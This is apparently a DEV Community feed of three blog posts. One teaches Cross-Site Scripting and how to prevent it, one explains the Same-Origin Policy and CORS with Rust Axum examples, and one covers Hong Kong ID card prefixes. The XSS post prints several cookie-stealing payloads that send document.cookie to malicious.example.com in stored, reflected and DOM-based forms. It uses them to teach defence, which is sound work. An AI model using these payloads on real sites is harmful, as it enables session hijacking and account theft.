DEV Community: Sam Leung

Understanding XSS (Cross-Site Scripting): How Attackers Inject Code Into Your Website

Sam Leung — Tue, 21 Oct 2025 05:25:08 +0000

Web applications frequently handle user-generated input. When this input is not processed securely, an attacker may insert executable code that runs in other users' browsers. This vulnerability is known as Cross-Site Scripting (XSS).

This blog explains what XSS is, how it functions, its primary types, and technical approaches for mitigation.

What is Cross-Site Scripting (XSS)
How XSS Works
Types of XSS
- 3.1. Stored XSS
- 3.2. Reflected XSS
- 3.3. DOM-Based XSS
- 3.4. Difference Between the Three Methods
What Attackers Can Do with XSS
Prevention Methods
- 5.1. Escape and Sanitize Output
- 5.2. Validate User Input
- 5.3. Use Safe DOM Methods
- 5.4. Apply a Content Security Policy (CSP)
- 5.5. Rely on Framework Security Defaults
- 5.6. Protect Cookies
- 5.7. Regular Testing and Monitoring
Summary
References

1. What is Cross Site Scripting (XSS)

Cross-Site Scripting (XSS) is a web application security flaw that allows attackers to inject client-side scripts into web pages that other users view. When successful, the code runs right inside someone's browser, pretending to be part of the legitimate website. Because the browser trusts the site, it also trusts the attacker's code, that's when the trouble starts.

When exploited, an attacker can:

Steal session cookies or authentication tokens
Impersonate another user
Display fake messages or phishing prompts
Redirect users to malicious sites

Example:
Imagine a comment section that doesn't properly filter user input.
An attacker posts something like:

Great post! <script>document.location='https://malicious.example.com/steal?cookie='+document.cookie</script>

If the website just displays this comment as-is, every visitor who views it will unknowingly run that script in their browser. Their cookie data - basically their login proof, gets sent straight to the attacker's site.

2. How XSS Works

Cross-Site Scripting (XSS) occurs when a web application accepts untrusted input and embeds it into a web page without applying proper escaping or validation. As a result, the browser interprets the input as executable code instead of plain text.

This vulnerability enables attackers to inject client-side scripts that execute in the context of a trusted website.

Process overview:

An attacker submits a payload containing executable code through a web form, message, or URL parameter
The web application reflects or stores this input and includes it in the page's response
When a user loads the affected page, the browser executes the injected script as part of the website

Example: Comment Submission Vulnerability

Consider a web application that allows users to submit comments:

<form action="/comment" method="POST">
  <input type="text" name="username" placeholder="Your name" />
  <textarea name="comment" placeholder="Leave a comment"></textarea>
  <button type="submit">Post</button>
</form>

A legitimate comment might be:

"Great article! Very helpful."

However, an attacker could submit the following input instead:

<script>
  fetch('https://malicious.example.com/steal?cookie=' + document.cookie);
</script>

If the application directly displays this comment without sanitization, the output might look like:

<div class="comment">
  <strong>User:</strong> TestUser
  <p><script>fetch('https://malicious.example.com/steal?cookie=' + document.cookie);</script></p>
</div>

In this case, when another user views the page, the browser executes the embedded script.
The script sends the viewer's cookies-possibly containing session identifiers or authentication tokens-to the attacker's external server.

3. Types of XSS

Cross-Site Scripting (XSS) vulnerabilities are classified into three main types, depending on where and how malicious code is injected and executed:

Stored XSS (Persistent XSS) - the payload is stored on the server (e.g., in a database or profile) and served to users later.
Reflected XSS (Non-Persistent XSS) - the payload is included in the current HTTP request and immediately reflected back in the server's response.
DOM-Based XSS (Client-Side XSS) - the payload is executed entirely within the client's browser by manipulating the DOM through insecure JavaScript.

3.1. Stored XSS (Persistent XSS)

Stored XSS, also known as Persistent XSS, arises when a server-side component stores untrusted user input (such as posts, comments, or profile information) and subsequently displays that content on a web page without proper sanitization or escaping.

When other users view the affected page, the malicious script executes in their browsers with the permissions of the vulnerable website.

This type of XSS is considered more severe than reflected or DOM-based variants because the injected code remains active until it is manually removed or sanitized.

Example Scenario

Consider a social platform that allows users to post status updates:

<form action="/post" method="POST">
  <textarea name="message" placeholder="Share something interesting..."></textarea>
  <button type="submit">Post</button>
</form>

An attacker could submit a message containing malicious JavaScript code:

<script>
  fetch('https://malicious.example.com/steal?cookie=' + encodeURIComponent(document.cookie));
</script>

If the application stores this message directly in a database and later retrieves it without sanitization, the generated page might look like this:

<div class="post">
  <strong>User:</strong> TestUser
  <p><script>
    fetch('https://malicious.example.com/steal?cookie=' + encodeURIComponent(document.cookie));
  </script></p>
</div>

Whenever a user loads the page, the script runs and can perform actions such as stealing session cookies, redirecting the browser, or altering the page's content.

This payload remains active until manually removed or sanitized, making stored XSS the most dangerous variant.

Key Points

The payload is permanently stored on the server and runs whenever the data is displayed.
Affects all users who view the compromised page.
Common in systems with user-generated content (forums, profiles, reviews, comments).
Prevented through server-side sanitization, contextual output encoding, and Content Security Policy (CSP) enforcement.

3.2. Reflected XSS (Non-Persistent XSS)

Reflected XSS, also known as Non-Persistent XSS, occurs when malicious script code is included within a request-such as a crafted URL or form submission-and the web application immediately reflects that input back into the HTTP response without proper validation or escaping.

Unlike Stored XSS, the payload is not saved on the server. Instead, it is delivered to the victim through a specially crafted link or request.
When the victim opens the malicious link, the injected code is reflected by the vulnerable page and executed in the victim's browser.

Example Scenario

Consider a search page that takes a query parameter and directly displays it on the page without sanitizing user input:

<form action="/search" method="GET">
  <input type="text" name="query" placeholder="Search..." />
  <button type="submit">Search</button>
</form>

A normal query URL:

https://example.com/search?query=security+tutorial

A malicious URL crafted by an attacker:

https://example.com/search?query=<script>fetch('https://malicious.example.com/steal?cookie='+document.cookie)</script>

If the response page renders that query value unsafely:

<p>Search results for: <b><script>fetch('https://malicious.example.com/steal?cookie='+document.cookie)</script></b></p>

Key Points

Payload is transient, not stored on the server.
Requires user interaction (e.g., clicking a crafted link).
Commonly found in search, login, and error pages that reflect input.
Prevented through HTML/JavaScript output encoding, input validation, and CSP.

3.3. DOM Based XSS (Client Side XSS)

DOM-Based XSS, also known as Client-Side XSS, occurs when a web page's JavaScript code dynamically modifies the Document Object Model (DOM) using data from a user-controlled source (such as the URL, query string, or hash fragment) without proper validation or encoding.

In this type of attack, the malicious payload never touches the server. Instead, it executes entirely within the user's browser.
The vulnerability exists because client-side scripts read untrusted input and use it to write directly into the page structure (e.g., using innerHTML, document.write(), or similar methods).

Example Scenario

A web application personalizes a "welcome" message using data from the URL hash fragment:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>DOM XSS Example</title>
</head>
<body>
  <h2 id="greeting">Welcome!</h2>

  <script>
    const name = location.hash.substring(1);
    document.getElementById("greeting").innerHTML = "Welcome, " + name;
  </script>
</body>
</html>

A normal visit:

https://example.com#TestUser

Displays:
Welcome, TestUser

However, an attacker could send a crafted URL such as:

https://example.com#<img src=x onerror=fetch('https://malicious.example.com/steal?cookie='+document.cookie)>

When the victim opens this link, the vulnerable JavaScript reads the fragment and inserts it directly into the DOM using innerHTML.
The injected script is executed on the client side, allowing theft of cookies or manipulation of page content.

Safer Implementation

const name = location.hash.substring(1);
document.getElementById("greeting").textContent = "Welcome, " + name;

By using .textContent (or proper encoding libraries), the data is inserted as plain text rather than executable HTML, neutralizing the attack vector.

Key Points

Executes purely in the client environment
Requires no server reflection or storage
Common in JavaScript-driven single-page applications (SPAs)
Prevented by safe DOM manipulation, sanitizing dynamic data, and restrictive CSP policies

3.4. Difference Between the Three Methods

Attribute	Stored XSS (Persistent)	Reflected XSS (Non-Persistent)	DOM-Based XSS (Client-Side)
Location of Vulnerability	Server stores and reuses unsanitized input	Server reflects unsanitized input in response	Browser's JavaScript handles untrusted data insecurely
Where the Payload Resides	Stored in server-side data sources (database, log, CMS)	Contained in crafted links or form submissions	Exists only in client-side DOM or URL fragment
When Code Executes	When the affected page is viewed by any user	When the victim clicks or accesses the malicious link	When client-side JavaScript processes untrusted input
Server Involvement	High - vulnerability in backend handling	Medium - server reflects input unsafely	None - vulnerability exists only in frontend code
User Interaction Required	No	Yes (victim must trigger request)	Optional (depends on page functionality)
Common Targets	Comment systems, forums, message boards	Search results, error messages, login forms	Dynamic SPAs, interactive client-side components
Risk Scope	Affects all users of the application	Affects a single targeted user	Affects users executing the vulnerable JS feature
Mitigation Focus	Sanitize and encode stored data before output	Encode and escape reflected data in responses	Validate and safely handle data in client DOM operations

Cross-Site Scripting (XSS) vulnerabilities exploit weaknesses in how web applications handle user-controlled input.
Although the execution mechanism varies, the ultimate goal is consistent across all types - inject malicious scripts into a trusted context to execute in the user's browser.

Stored XSS poses the highest risk since payloads persist on the server and affect all users viewing the content.
Reflected XSS relies on social engineering to make victims click malicious links that cause immediate temporary script execution.
DOM-Based XSS originates from insecure JavaScript practices and executes entirely on the client side without server participation.

4. What Attackers Can Do with XSS

Once an attacker successfully exploits an XSS vulnerability, they gain the ability to execute arbitrary JavaScript in the victim's browser within the context of a trusted website.
Because the code runs as if it were part of the legitimate page, the attacker can leverage it to perform numerous malicious actions.

Potential impacts include:

Session Hijacking and Account Takeover:
Access or exfiltrate authentication cookies, JSON Web Tokens (JWTs), or session identifiers to impersonate the victim.
User Impersonation and Unauthorized Actions:
Perform privileged actions on behalf of authenticated users - such as transferring funds, changing passwords, or sending messages.
Data Exposure and Theft:
Read sensitive information displayed on the page or pulled via AJAX, including personal data, order details, or internal messages.
Credential Harvesting and Phishing:
Inject fake login forms or overlays designed to capture user credentials.
Website Defacement or Misleading Modifications:
Alter displayed text, interface elements, or media content to misinform or damage reputation.
Command Execution or Malware Delivery:
Redirect users to malicious sites, load external JavaScript payloads, or deliver browser exploits.
Network Pivoting and Exploitation:
Use authenticated sessions to attack other services or endpoints accessible from the victim's environment.

Even a simple XSS vulnerability can have severe consequences, depending on the privileges of the victim user and the sensitivity of accessible data.

5. Prevention Methods

XSS prevention requires a multi-layered defense strategy, combining rigorous input handling, secure coding practices, browser-based protections, and ongoing security maintenance.
No single safeguard is sufficient on its own - effective XSS mitigation relies on consistent application of the following principles.

5.1. Escape and Sanitize Output

Always treat all user-supplied data as untrusted, and encode output properly before including it in HTML, JavaScript, or attribute contexts.
This prevents browsers from interpreting user input as executable code.

Practical Guidelines:

Replace or encode special characters such as <, >, ', ", and &.
Use context-aware escaping depending on where the data is inserted:
- HTML encoding (for text content): Convert special characters to entities so they appear as plain text. Example: <script> -> <script>
- Attribute encoding (for HTML attributes): Encode quotes and angle brackets to stop injection inside attribute values. Example: " onerror="alert(1) -> " onerror="alert(1)
- JavaScript string escaping (for dynamic script values): Escape quotes and special characters when embedding data into scripts. Example: Alice"; alert('XSS'); -> Alice\"; alert('XSS');

This ensures that user data is rendered safely as content, never executed as code.

5.2. Validate User Input

Ensure every input matches expected formats and reject or sanitize anything outside valid ranges.

Best practices:

Use whitelists instead of blacklists - specify acceptable patterns (e.g., alphanumeric, email format).
Enforce input length limits to reduce payload size risks
Validate input both client-side (for user experience) and server-side (for security enforcement)
Re-validate data before rendering or storage, even if it was validated previously

5.3. Use Safe DOM Methods

Avoid JavaScript APIs that interpret content as HTML or executable code, such as:

innerHTML
document.write()
eval()
setTimeout("code", delay)

Instead, use secure APIs that place untrusted content as plain text or structured elements:

textContent
setAttribute
createElement
appendChild

Example:

// Unsafe
document.getElementById("msg").innerHTML = userInput;

// Safe
document.getElementById("msg").textContent = userInput;

5.4. Apply a Content Security Policy (CSP)

A Content Security Policy instructs browsers to restrict what scripts and resources can be loaded or executed.
Even if an injected script exists in the page, CSP can prevent it from executing.

Example HTTP Header:

Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'self';

Benefits:

Blocks inline scripts (<script>...</script>) unless explicitly allowed.
Prevents loading scripts from untrusted external domains.
Reduces XSS impact by blocking data exfiltration via unauthorized requests.

CSP acts as a defense-in-depth measure - it complements but does not replace input sanitization and output encoding.

5.5. Rely on Framework Security Defaults

Modern front-end frameworks (such as React, Angular, Vue, and Svelte) implement automatic HTML escaping and virtual DOM rendering to minimize direct HTML manipulation.

Recommendations:

Do not disable built-in sanitization (e.g., v-html in Vue or [innerHTML] in Angular).
Avoid unsafe template injections or string concatenations.
Keep frameworks and dependencies updated to the latest security releases.

5.6. Protect Cookies

Prevent XSS-attacks from escalating into session hijacking by making cookies inaccessible to JavaScript and enforcing secure transmission.

Example:

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict;

Directive explanation:

HttpOnly - prevents access to cookies via document.cookie
Secure - ensures cookies are sent only over HTTPS
SameSite - mitigates cross-origin request attacks

5.7. Regular Testing and Monitoring

Security is an iterative process. Regular reviews help identify and resolve new or overlooked vulnerabilities.

Recommended practices:

Conduct regular code audits and penetration tests focusing on input-handling logic
Use automated scanners (like OWASP ZAP or Burp Suite) to detect reflected or stored XSS points
Analyze CSP reports and browser security console messages for blocked resources or violations
Maintain an ongoing patch management process for your framework, dependencies, and build pipelines

6. Summary

Cross-Site Scripting (XSS) is one of the most prevalent and damaging web vulnerabilities, enabling attackers to inject and execute untrusted code in user browsers.

While the Stored, Reflected, and DOM-Based variants differ in execution paths, they share a common root cause - improper handling of untrusted input.

Once triggered, XSS can lead to stolen credentials, session hijacking, phishing attacks, or unauthorized actions on behalf of the user.

Effective defense requires a layered approach:

Validate and sanitize input according to strict format and length rules
Escape or encode outputs properly for HTML, attribute, or JavaScript contexts
Use safe DOM APIs (textContent, setAttribute) instead of unsafe APIs (innerHTML, eval)
Apply Content Security Policy (CSP) to restrict where scripts can run
Rely on framework protections that automatically sanitize output
Secure cookies and sessions using HttpOnly, Secure, and SameSite flags
Regularly test, audit, and monitor both backend and frontend code for new attack vectors

By following these layered defenses, developers can significantly reduce exposure to XSS and ensure the web application maintains confidentiality, integrity, and trustworthiness for all users.

7. References

From SOP to CORS: Understanding the Web’s Cross‑Origin Security Model

Sam Leung — Sat, 18 Oct 2025 11:31:04 +0000

Modern web applications are rarely confined to a single domain. Instead, they often operate across multiple subdomains, each responsible for a specific part of the system.

For example, your frontend could be hosted at https://app.example.com, your API might live at https://api.example.com, and files or media could be served from https://fs.example.com. You might even have a dedicated authentication service at https://auth.example.com to handle user logins, token issuance, and identity management.

That architecture is powerful, until you hit the dreaded error:

Access to fetch at 'https://api.example.com' from origin 'https://app.example.com'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

If you’ve seen that, welcome — you’ve just met CORS (Cross-Origin Resource Sharing), the security mechanism browsers use to safely break the rules of the Same-Origin Policy (SOP).

This article walks you through what SOP is, what CORS really does, and how to configure your backend (with examples) to handle cross-origin requests properly.

What Is an Origin?
The Same-Origin Policy
What Is a Cross-Origin Request?
What Is CORS (Cross-Origin Resource Sharing)?
Simple CORS Requests
Preflight Requests
Key CORS Headers Explained
CORS with Cookies and Credentials
Practical Example: CORS in Rust (Axum)
API Gateway and Backend: Where Should You Configure CORS?
Loading Resources Cross‑Domain with the <script> Tag
A Short History of CORS
Summary
References

1. What Is an Origin?

An origin is defined as the combination of:

scheme (protocol) + host (domain) + port

For example: https://example.com:443

scheme (protocol): https
host: example.com
port: 443

Two pages share the same origin only if all three are identical.

URL	Same as `https://app.example.com/a.html`?	Why
`https://app.example.com/b.html`	✅ Yes	Same scheme, domain, and port
`http://app.example.com/c.html`	❌ No	Different scheme
`https://sub.app.example.com/d.html`	❌ No	Different domain
`https://app.example.com:8080/e.html`	❌ No	Different port

2. The Same Origin Policy

Before diving into CORS, you must understand its foundation, the Same-Origin Policy.

This rule is the browser’s built‑in firewall. It prevents malicious websites from freely interacting with another site you’re logged into.

In simple terms:

“A script loaded from one origin cannot freely read or modify data from another origin.”

For example, JavaScript running on https://app.example.com cannot read the data or cookies from https://api.example.com unless the server explicitly allows it.

Without SOP, any random site could load your webmail or banking page in the background and read sensitive data — a complete privacy disaster.

3. What Is a Cross Origin Request?

Whenever your JavaScript tries to fetch a resource from a different origin (different scheme, host, or port), it becomes a cross-origin HTTP request.

Example:

fetch("https://api.example.com/data");

If your page is served from https://app.example.com, this is a cross-origin call.

When the server does not explicitly allow this, the browser blocks the response and logs:

Access to fetch at 'https://api.example.com/data'
from origin 'https://app.example.com' has been blocked by CORS policy

The browser enforces this for security — not because it can’t send the request, but because it refuses to reveal the response unless the server approves it.

4. What Is CORS (Cross Origin Resource Sharing)?

CORS is the official web standard that defines how a server can state:

“These specific sites are allowed to access my resources.”

CORS works through additional HTTP headers sent by the server to “grant permission” to specific origins.

Example server response:

Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: Content-Type

When a browser sees this response, it verifies if the Origin header of the request matches the allowed origin(s).
If they match ✅ — the JavaScript call succeeds.
If not ❌ — the response is hidden from JavaScript.

5. Simple CORS Requests

Some requests are so common and safe that browsers send them immediately — these are simple requests.

To qualify as a simple request, all of the following conditions must hold:

The HTTP method is GET, HEAD, or POST.
The only manually set headers are “CORS-safelisted” (Accept, Accept-Language, Content-Language, Content-Type with restricted MIME types).
The allowed Content-Type values are:
- application/x-www-form-urlencoded
- multipart/form-data
- text/plain

Example

fetch("https://api.example.com/data");

The browser automatically adds:

Origin: https://app.example.com

If the API responds with:

Access-Control-Allow-Origin: https://app.example.com

the response is shared successfully with JavaScript.

If the header is missing or mismatched, the Fetch API rejects the promise with a CORS error, even though the network request technically went through.

6. Preflight Requests

When a request might affect server data or uses custom headers, non‑standard methods (DELETE, PUT, PATCH, etc.), or a Content-Type like application/json, browsers perform an extra validation step called a Preflight Request.

The following diagram illustrates the sequence of a CORS preflight request between the browser at https://app.example.com and the API server at https://api.example.com. It shows how the browser first sends an OPTIONS request to verify permissions before issuing the actual POST request.

Step 1 — The OPTIONS Preflight & The Server’s Response

Before sending the actual cross‑origin request, the browser checks with the target domain using an OPTIONS request:

OPTIONS /data HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-CUSTOM-HEADER, Content-Type

If https://api.example.com approves the request, it responds with:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: POST
Access-Control-Allow-Headers: X-CUSTOM-HEADER, Content-Type
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400

This response indicates:

The origin https://app.example.com is allowed to access the resource.
The POST method and specified headers are permitted.
Credentials are allowed to be sent (e.g., cookies or tokens).
The browser may cache this permission for 24 hours.

Step 2 — The Actual Request

Once validated, the browser proceeds with the intended request:

POST /data HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Content-Type: application/json
X-CUSTOM-HEADER: 123

If the response includes a valid Access-Control-Allow-Origin header that matches the origin, the browser allows the web application at https://app.example.com to read the data returned from https://api.example.com.

7. Key CORS Headers Explained

Header	Purpose
Access-Control-Allow-Origin	Specifies which origin(s) are allowed. Use `*` for any, or a specific domain like `https://app.example.com`.
Access-Control-Allow-Methods	Declares which HTTP methods can be used.
Access-Control-Allow-Headers	Lists the allowed non-simple headers the client can send.
Access-Control-Max-Age	How long browsers can cache the preflight result (in seconds).
Access-Control-Expose-Headers	Allows JavaScript to read additional response headers beyond the default six (`Cache-Control`, `Content-Language`, `Content-Type`, `Expires`, `Last-Modified`, `Pragma`).
Access-Control-Allow-Credentials	Indicates whether the server allows credentials (cookies, Authorization headers) for cross-origin requests.

Example:

Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: X-My-Custom-Header

8. CORS with Cookies and Credentials

By default, cross-origin requests do not include cookies or credentials due to security risks.

To enable them:

Client‑side

For Fetch API:

fetch("https://api.example.com/data", { credentials: "include" });

For XMLHttpRequest:

const xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", "https://api.example.com/data");
xhr.send();

Server‑side

The response must include:

Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://app.example.com

⚠️ Important:
When Access-Control-Allow-Credentials: true is used,
Access-Control-Allow-Origin cannot be * — it must name the specific origin.

Otherwise, the browser will reject the response, showing:

The value of 'Access-Control-Allow-Origin' must not be '*' when the request’s credentials mode is 'include'.

This combination ensures sensitive authenticated requests are only allowed from known, trusted sites.

9. Practical Example: CORS in Rust (Axum)

Here’s how to configure multi-subdomain CORS support in your backend using the Rust web framework Axum.

Cargo.toml

[dependencies]
axum = "0.8.6"
serde_json = "1.0.145"
tokio = { version = "1.48.0", features = ["full"] }
tower-http = { version = "0.6.6", features = ["cors"] }

Main Application

use axum::{
    Json, Router, http,
    http::{HeaderValue, Method, StatusCode},
    response::IntoResponse,
    routing::get,
};
use serde_json::json;
use std::net::SocketAddr;
use tower_http::cors::CorsLayer;

#[tokio::main]
async fn main() {
    let allowed_origins = vec![
        "https://app.example.com",
        "https://api.example.com",
        "https://fs.example.com",
    ];

    let cors = CorsLayer::new()
        .allow_origin(
            allowed_origins
                .into_iter()
                .filter_map(|o| o.parse::<HeaderValue>().ok())
                .collect::<Vec<_>>(),
        )
        .allow_methods([Method::GET, Method::POST, Method::DELETE, Method::OPTIONS])
        .allow_headers([http::header::CONTENT_TYPE, http::header::AUTHORIZATION])
        .allow_credentials(true);

    let app = Router::new()
        .route("/api/data", get(get_data).post(post_data))
        .layer(cors);

    let addr = SocketAddr::from(([127, 0, 0, 1], 8080));
    println!("Server running at http://{addr}");

    axum::serve(tokio::net::TcpListener::bind(addr).await.unwrap(), app)
        .await
        .unwrap();
}

async fn get_data() -> impl IntoResponse {
    (StatusCode::OK, Json(json!({ "message": "GET OK" })))
}

async fn post_data() -> impl IntoResponse {
    (StatusCode::OK, Json(json!({ "message": "POST OK" })))
}

Explanation

Allows specific subdomains (app, api, fs) to share resources.
Enables all major methods and headers.
Credentials (cookies/tokens) are explicitly allowed.
Other unlisted origins are blocked at the browser level.

10. API Gateway and Backend: Where Should You Configure CORS?

When your backend is served behind an API Gateway — such as AWS API Gateway, NGINX, Kong, or Traefik — it can be confusing where to configure CORS (Cross-Origin Resource Sharing).

Let’s go through when and where to apply CORS: Gateway, Backend, or both.

First Principle

CORS is enforced by browsers, not servers.

The only thing that matters is that the final HTTP response reaching the browser includes valid CORS headers.

That means it doesn’t matter who adds them — as long as the browser sees the correct headers.

Option 1 — Handle CORS at the API Gateway (Recommended)

The API Gateway is the first server a browser talks to.
That makes it the perfect place for centralized CORS handling.

Advantages

Centralized Policy Management
Manage all origins, headers, and methods in one place.
Simplified Backends
Microservices don’t have to duplicate CORS logic.
Automatic Preflight Handling
The Gateway can respond to OPTIONS requests itself.
Faster Updates
Adjust CORS rules without rebuilding backend code.

Example — AWS API Gateway CORS Config

{
  "CorsConfiguration": {
    "AllowOrigins": ["https://app.example.com"],
    "AllowMethods": ["GET", "POST", "OPTIONS"],
    "AllowHeaders": ["Content-Type", "Authorization"],
    "AllowCredentials": true
  }
}

The Gateway:

Responds automatically to OPTIONS preflight.
Injects the proper headers into responses.
Hides the complexity from your backend APIs.

Option 2 — Handle CORS in the Backend (When Needed)

You might choose backend-level CORS if:

Your Gateway acts as a transparent proxy (no header manipulation).
Different services require different origins or rules.
Certain API calls skip the Gateway entirely.

You must handle:

OPTIONS preflight responses.
Matching origins exactly between request and header.
No wildcard * when Access-Control-Allow-Credentials: true is used.

Option 3 — Handle CORS in Both (Not Rcommanded)

In some environments, both Gateway and Backend add CORS headers — typically during a migration.

This is fine only if both configurations return identical headers.
Otherwise, conflicting values (for example, Access-Control-Allow-Origin) cause browsers to discard the response.

Use this dual setup only temporarily, not as a permanent architecture.

When You Don’t Need CORS

CORS is purely a browser security mechanism.

If requests originate from:

Another backend server
Mobile apps using native HTTP clients
Internal service networks (no browsers)

Then you don’t need CORS at all.

Best Practice Decision Table

Scenario	Who Should Handle CORS?	Why
Browser calls API through public gateway	Gateway	Centralized and simpler
Gateway is transparent or not configurable	Backend	Backend must manage headers
Gradual migration	Both	Temporary safety
Internal or mobile-only access	None	Not needed

CORS belongs at the first browser-facing layer, ideally the API Gateway.
The Backend should only handle CORS if the Gateway can’t or shouldn’t.
Having both handle it can create conflicts unless headers match exactly.
For consistent behavior, centralize CORS logic at the Gateway.

Testing Your Setup

Use curl or a REST client to simulate preflight requests:

curl -i -X OPTIONS \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: POST" \
  https://api.example.com/data

If your configuration is correct, you should see:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: POST, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true

That means your Gateway or Backend CORS rules are properly aligned.

If browsers connect to your API via the Gateway, configure CORS on the Gateway.
Use backend CORS only when the Gateway can’t handle it.

11. Loading Resources Cross Domain with the Script Tag

Under the Same‑Origin Policy (SOP), web pages are generally restricted from reading data returned by requests to other domains. However, some HTML elements — such as <script>, <img>, and <link> — are not limited by this rule.

The <script> element was intentionally designed to allow loading and executing code from different origins. This design supports the reuse of external resources, such as shared libraries, analytics scripts, or frameworks hosted on content delivery networks (CDNs). The restriction under SOP applies mainly to reading data, not to loading and executing external code.

When a browser processes a tag like the following:

<script src="https://cdn.example.com/library.js"></script>

it sends an HTTP request to the external domain, retrieves the JavaScript file, and executes it in the context of the current page. The browser does not block this behavior because the script is not trying to read external data; it simply imports executable code that runs locally once loaded.

This capability forms the foundation of how websites include shared scripts, but it also introduces potential security risks. If a malicious or compromised external script is loaded, it gains full access to the page’s environment, including the Document Object Model (DOM), cookies (when accessible), and user interactions. For this reason, modern security practices recommend:

Hosting critical scripts within the same origin when possible.
Using Subresource Integrity (SRI) to ensure the script’s content matches an expected hash.
Limiting external dependencies to trusted sources.

In modern browsers, this cross‑domain script inclusion remains allowed but is managed through stricter security mechanisms such as Content Security Policy (CSP) and SRI, which help reduce risks associated with externally loaded scripts.

12. A Short History of CORS

Web browsers originally enforced the Same‑Origin Policy (SOP), which restricted web pages from making requests to different domains. To work around this limitation, developers used a method known as JSONP (JSON with Padding). JSONP allowed limited cross‑domain data exchange through <script> tags but was constrained to GET requests and presented security concerns.

The World Wide Web Consortium (W3C) initiated work on a standardized solution in May 2006, when the first W3C Working Draft was published. In March 2009, the draft was renamed to Cross‑Origin Resource Sharing (CORS), and in January 2014, it became an official W3C Recommendation.

CORS introduced a standardized set of HTTP headers that enable controlled access to resources across different origins, defining how browsers and servers can interact securely across domains.

13. Summary

Scenario	Required Headers	Notes
Simple Request	`Access-Control-Allow-Origin`	GET/POST/HEAD only
Non‑Simple (Preflighted)	`Access-Control-Allow-Origin`, `Access-Control-Allow-Methods`, `Access-Control-Allow-Headers`	Browser sends an `OPTIONS` request first
Using Cookies	Same as above + `Access-Control-Allow-Credentials: true`	`Access-Control-Allow-Origin` must not use `*`
Expose Extra Headers	Add `Access-Control-Expose-Headers`	Allows JS to read non‑default headers

Troubleshooting Flow:

Check whether your request is “simple” or requires preflight.
Ensure your backend handles the OPTIONS call correctly.
Validate Access-Control-Allow-Origin matches exactly.
When using cookies, ensure both client and server specify credentials explicitly.

14. References

HKID (Part 1) - Understanding the 🇭🇰Hong Kong🇭🇰 Identity Card: Symbols, Prefixes, and Check Digit Calculation

Sam Leung — Sat, 17 May 2025 18:15:22 +0000

🔥🔥🔥This blog post is periodically updated to ensure the information remains current.

Why I Wrote This?

I am currently handling a project that needs to check whether a user-entered HKID is correct or not, and also to generate HKID numbers for testing purposes. To achieve this, I needed to learn and clarify the HKID rules in detail, from the structure and meaning of its symbols and prefixes, to the logic behind its check digit calculation.

This blog post documents what I’ve learned, how the check digit system works, and how you can validate or generate HKIDs in your own projects.

IMPORTANT❗❗❗
The HKID check digit algorithm here is based on commonly shared internet sources, not official documentation, so results may not be 100% accurate.

IMPORTANT❗❗❗
All the sample code will be written in Rust, so some basic familiarity with Rust (such as functions, variables, and basic control flow) will help you follow along.

IMPORTANT❗❗❗
For simplicity, I’ll use [ to represent a space character in HKID examples and logic throughout this post.

1. HKID Symbols and Prefixes: What Do They Mean?

1.1 HKID Number Format Explained

An HKID number typically looks like this: X123456(A), where:

X is one or two letters (the prefix)
123456 is a six-digit serial number (each digit is 0–9)
A is the check digit (in brackets)

1.2 Prefix Meanings

The prefix letters indicate the period or category of issuance. Here is a comprehensive list:

Prefix	Explanation / Issuance
A	Original ID cards, issued between 1949 and 1962, most holders were born before 1950
B	Issued between 1955 and 1960 in city offices
C	Issued between 1960 and 1983 in NT offices, if a child most born between 1946 and 1971, principally HK born
D	Issued between 1960 and 1983 at HK Island office, if a child most born between, principally HK born
E	Issued between 1955 and 1969 in Kowloon offices, if a child most born between 1946 and 1962, principally HK born
F	First issue of a card commencing from 24 February 2020
G	Issued between 1967 and 1983 in Kowloon offices, if a child most born between 1956 and 1971
H	Issued between 1979 and 1983 in HK Island offices, if a child most born between 1968 and 1971, principally HK born
J	Consular officers
K	First issue of an ID card between 28 March 1983 and 31 July 1990, if a child most born between 1972 and 1979
L	Issued between 1983 and 2003, used when computer system malfunctioned, held by very few people
M	First issue of ID card between 1 August 2011 and 23 February 2020
N	Birth registered in Hong Kong after 1 June 2019
P	First issue of an ID card between 1 August 1990 and 27 December 2000, if a child most born between July and December 1979
R	First issue of an ID card between 28 December 2000 and 31 July 2011
S	Birth registered in Hong Kong between 1 April 2005 and 31 May 2019
T	Issued between 1983 and 1997, used when computer system malfunctioned, very few people hold
V	Child under 11 issued with a "Document of Identity for Visa Purposes" between 28 March 1983 and 31 August 2003
W	First issue to a foreign labourer or foreign domestic helper between 10 November 1989 and 1 January 2009
Y	Birth registered in Hong Kong between 1 January 1989 and 31 March 2005
Z	Birth registered in Hong Kong between 1 January 1980 and 31 December 1988

Double Letters:

Prefix	Explanation / Issuance
EC	Issued between 1993 and 2003, for European Community officers in Hong Kong (and dependents)
WX	First issue to a foreign labourer or foreign domestic helper since 2 January 2009
XA/XB/XC/XD/XE/XG/XH	ID card issued to person without a Chinese name before 27 March 1983

1.3 Symbols on the Card

Symbols under the date of birth have the following meanings:

Symbol	Meaning
`***`	Age 18 or over, eligible for Hong Kong Re-entry Permit
`*`	Age 11–17, eligible for Hong Kong Re-entry Permit
`A`	Right of abode in Hong Kong
`B`	Birth date/place changed since first registration
`C`	Stay in HKSAR is limited
`N`	Name changed since first registration
`O`	Born outside Hong Kong, Mainland China, or Macau
`R`	Right to land in HKSAR
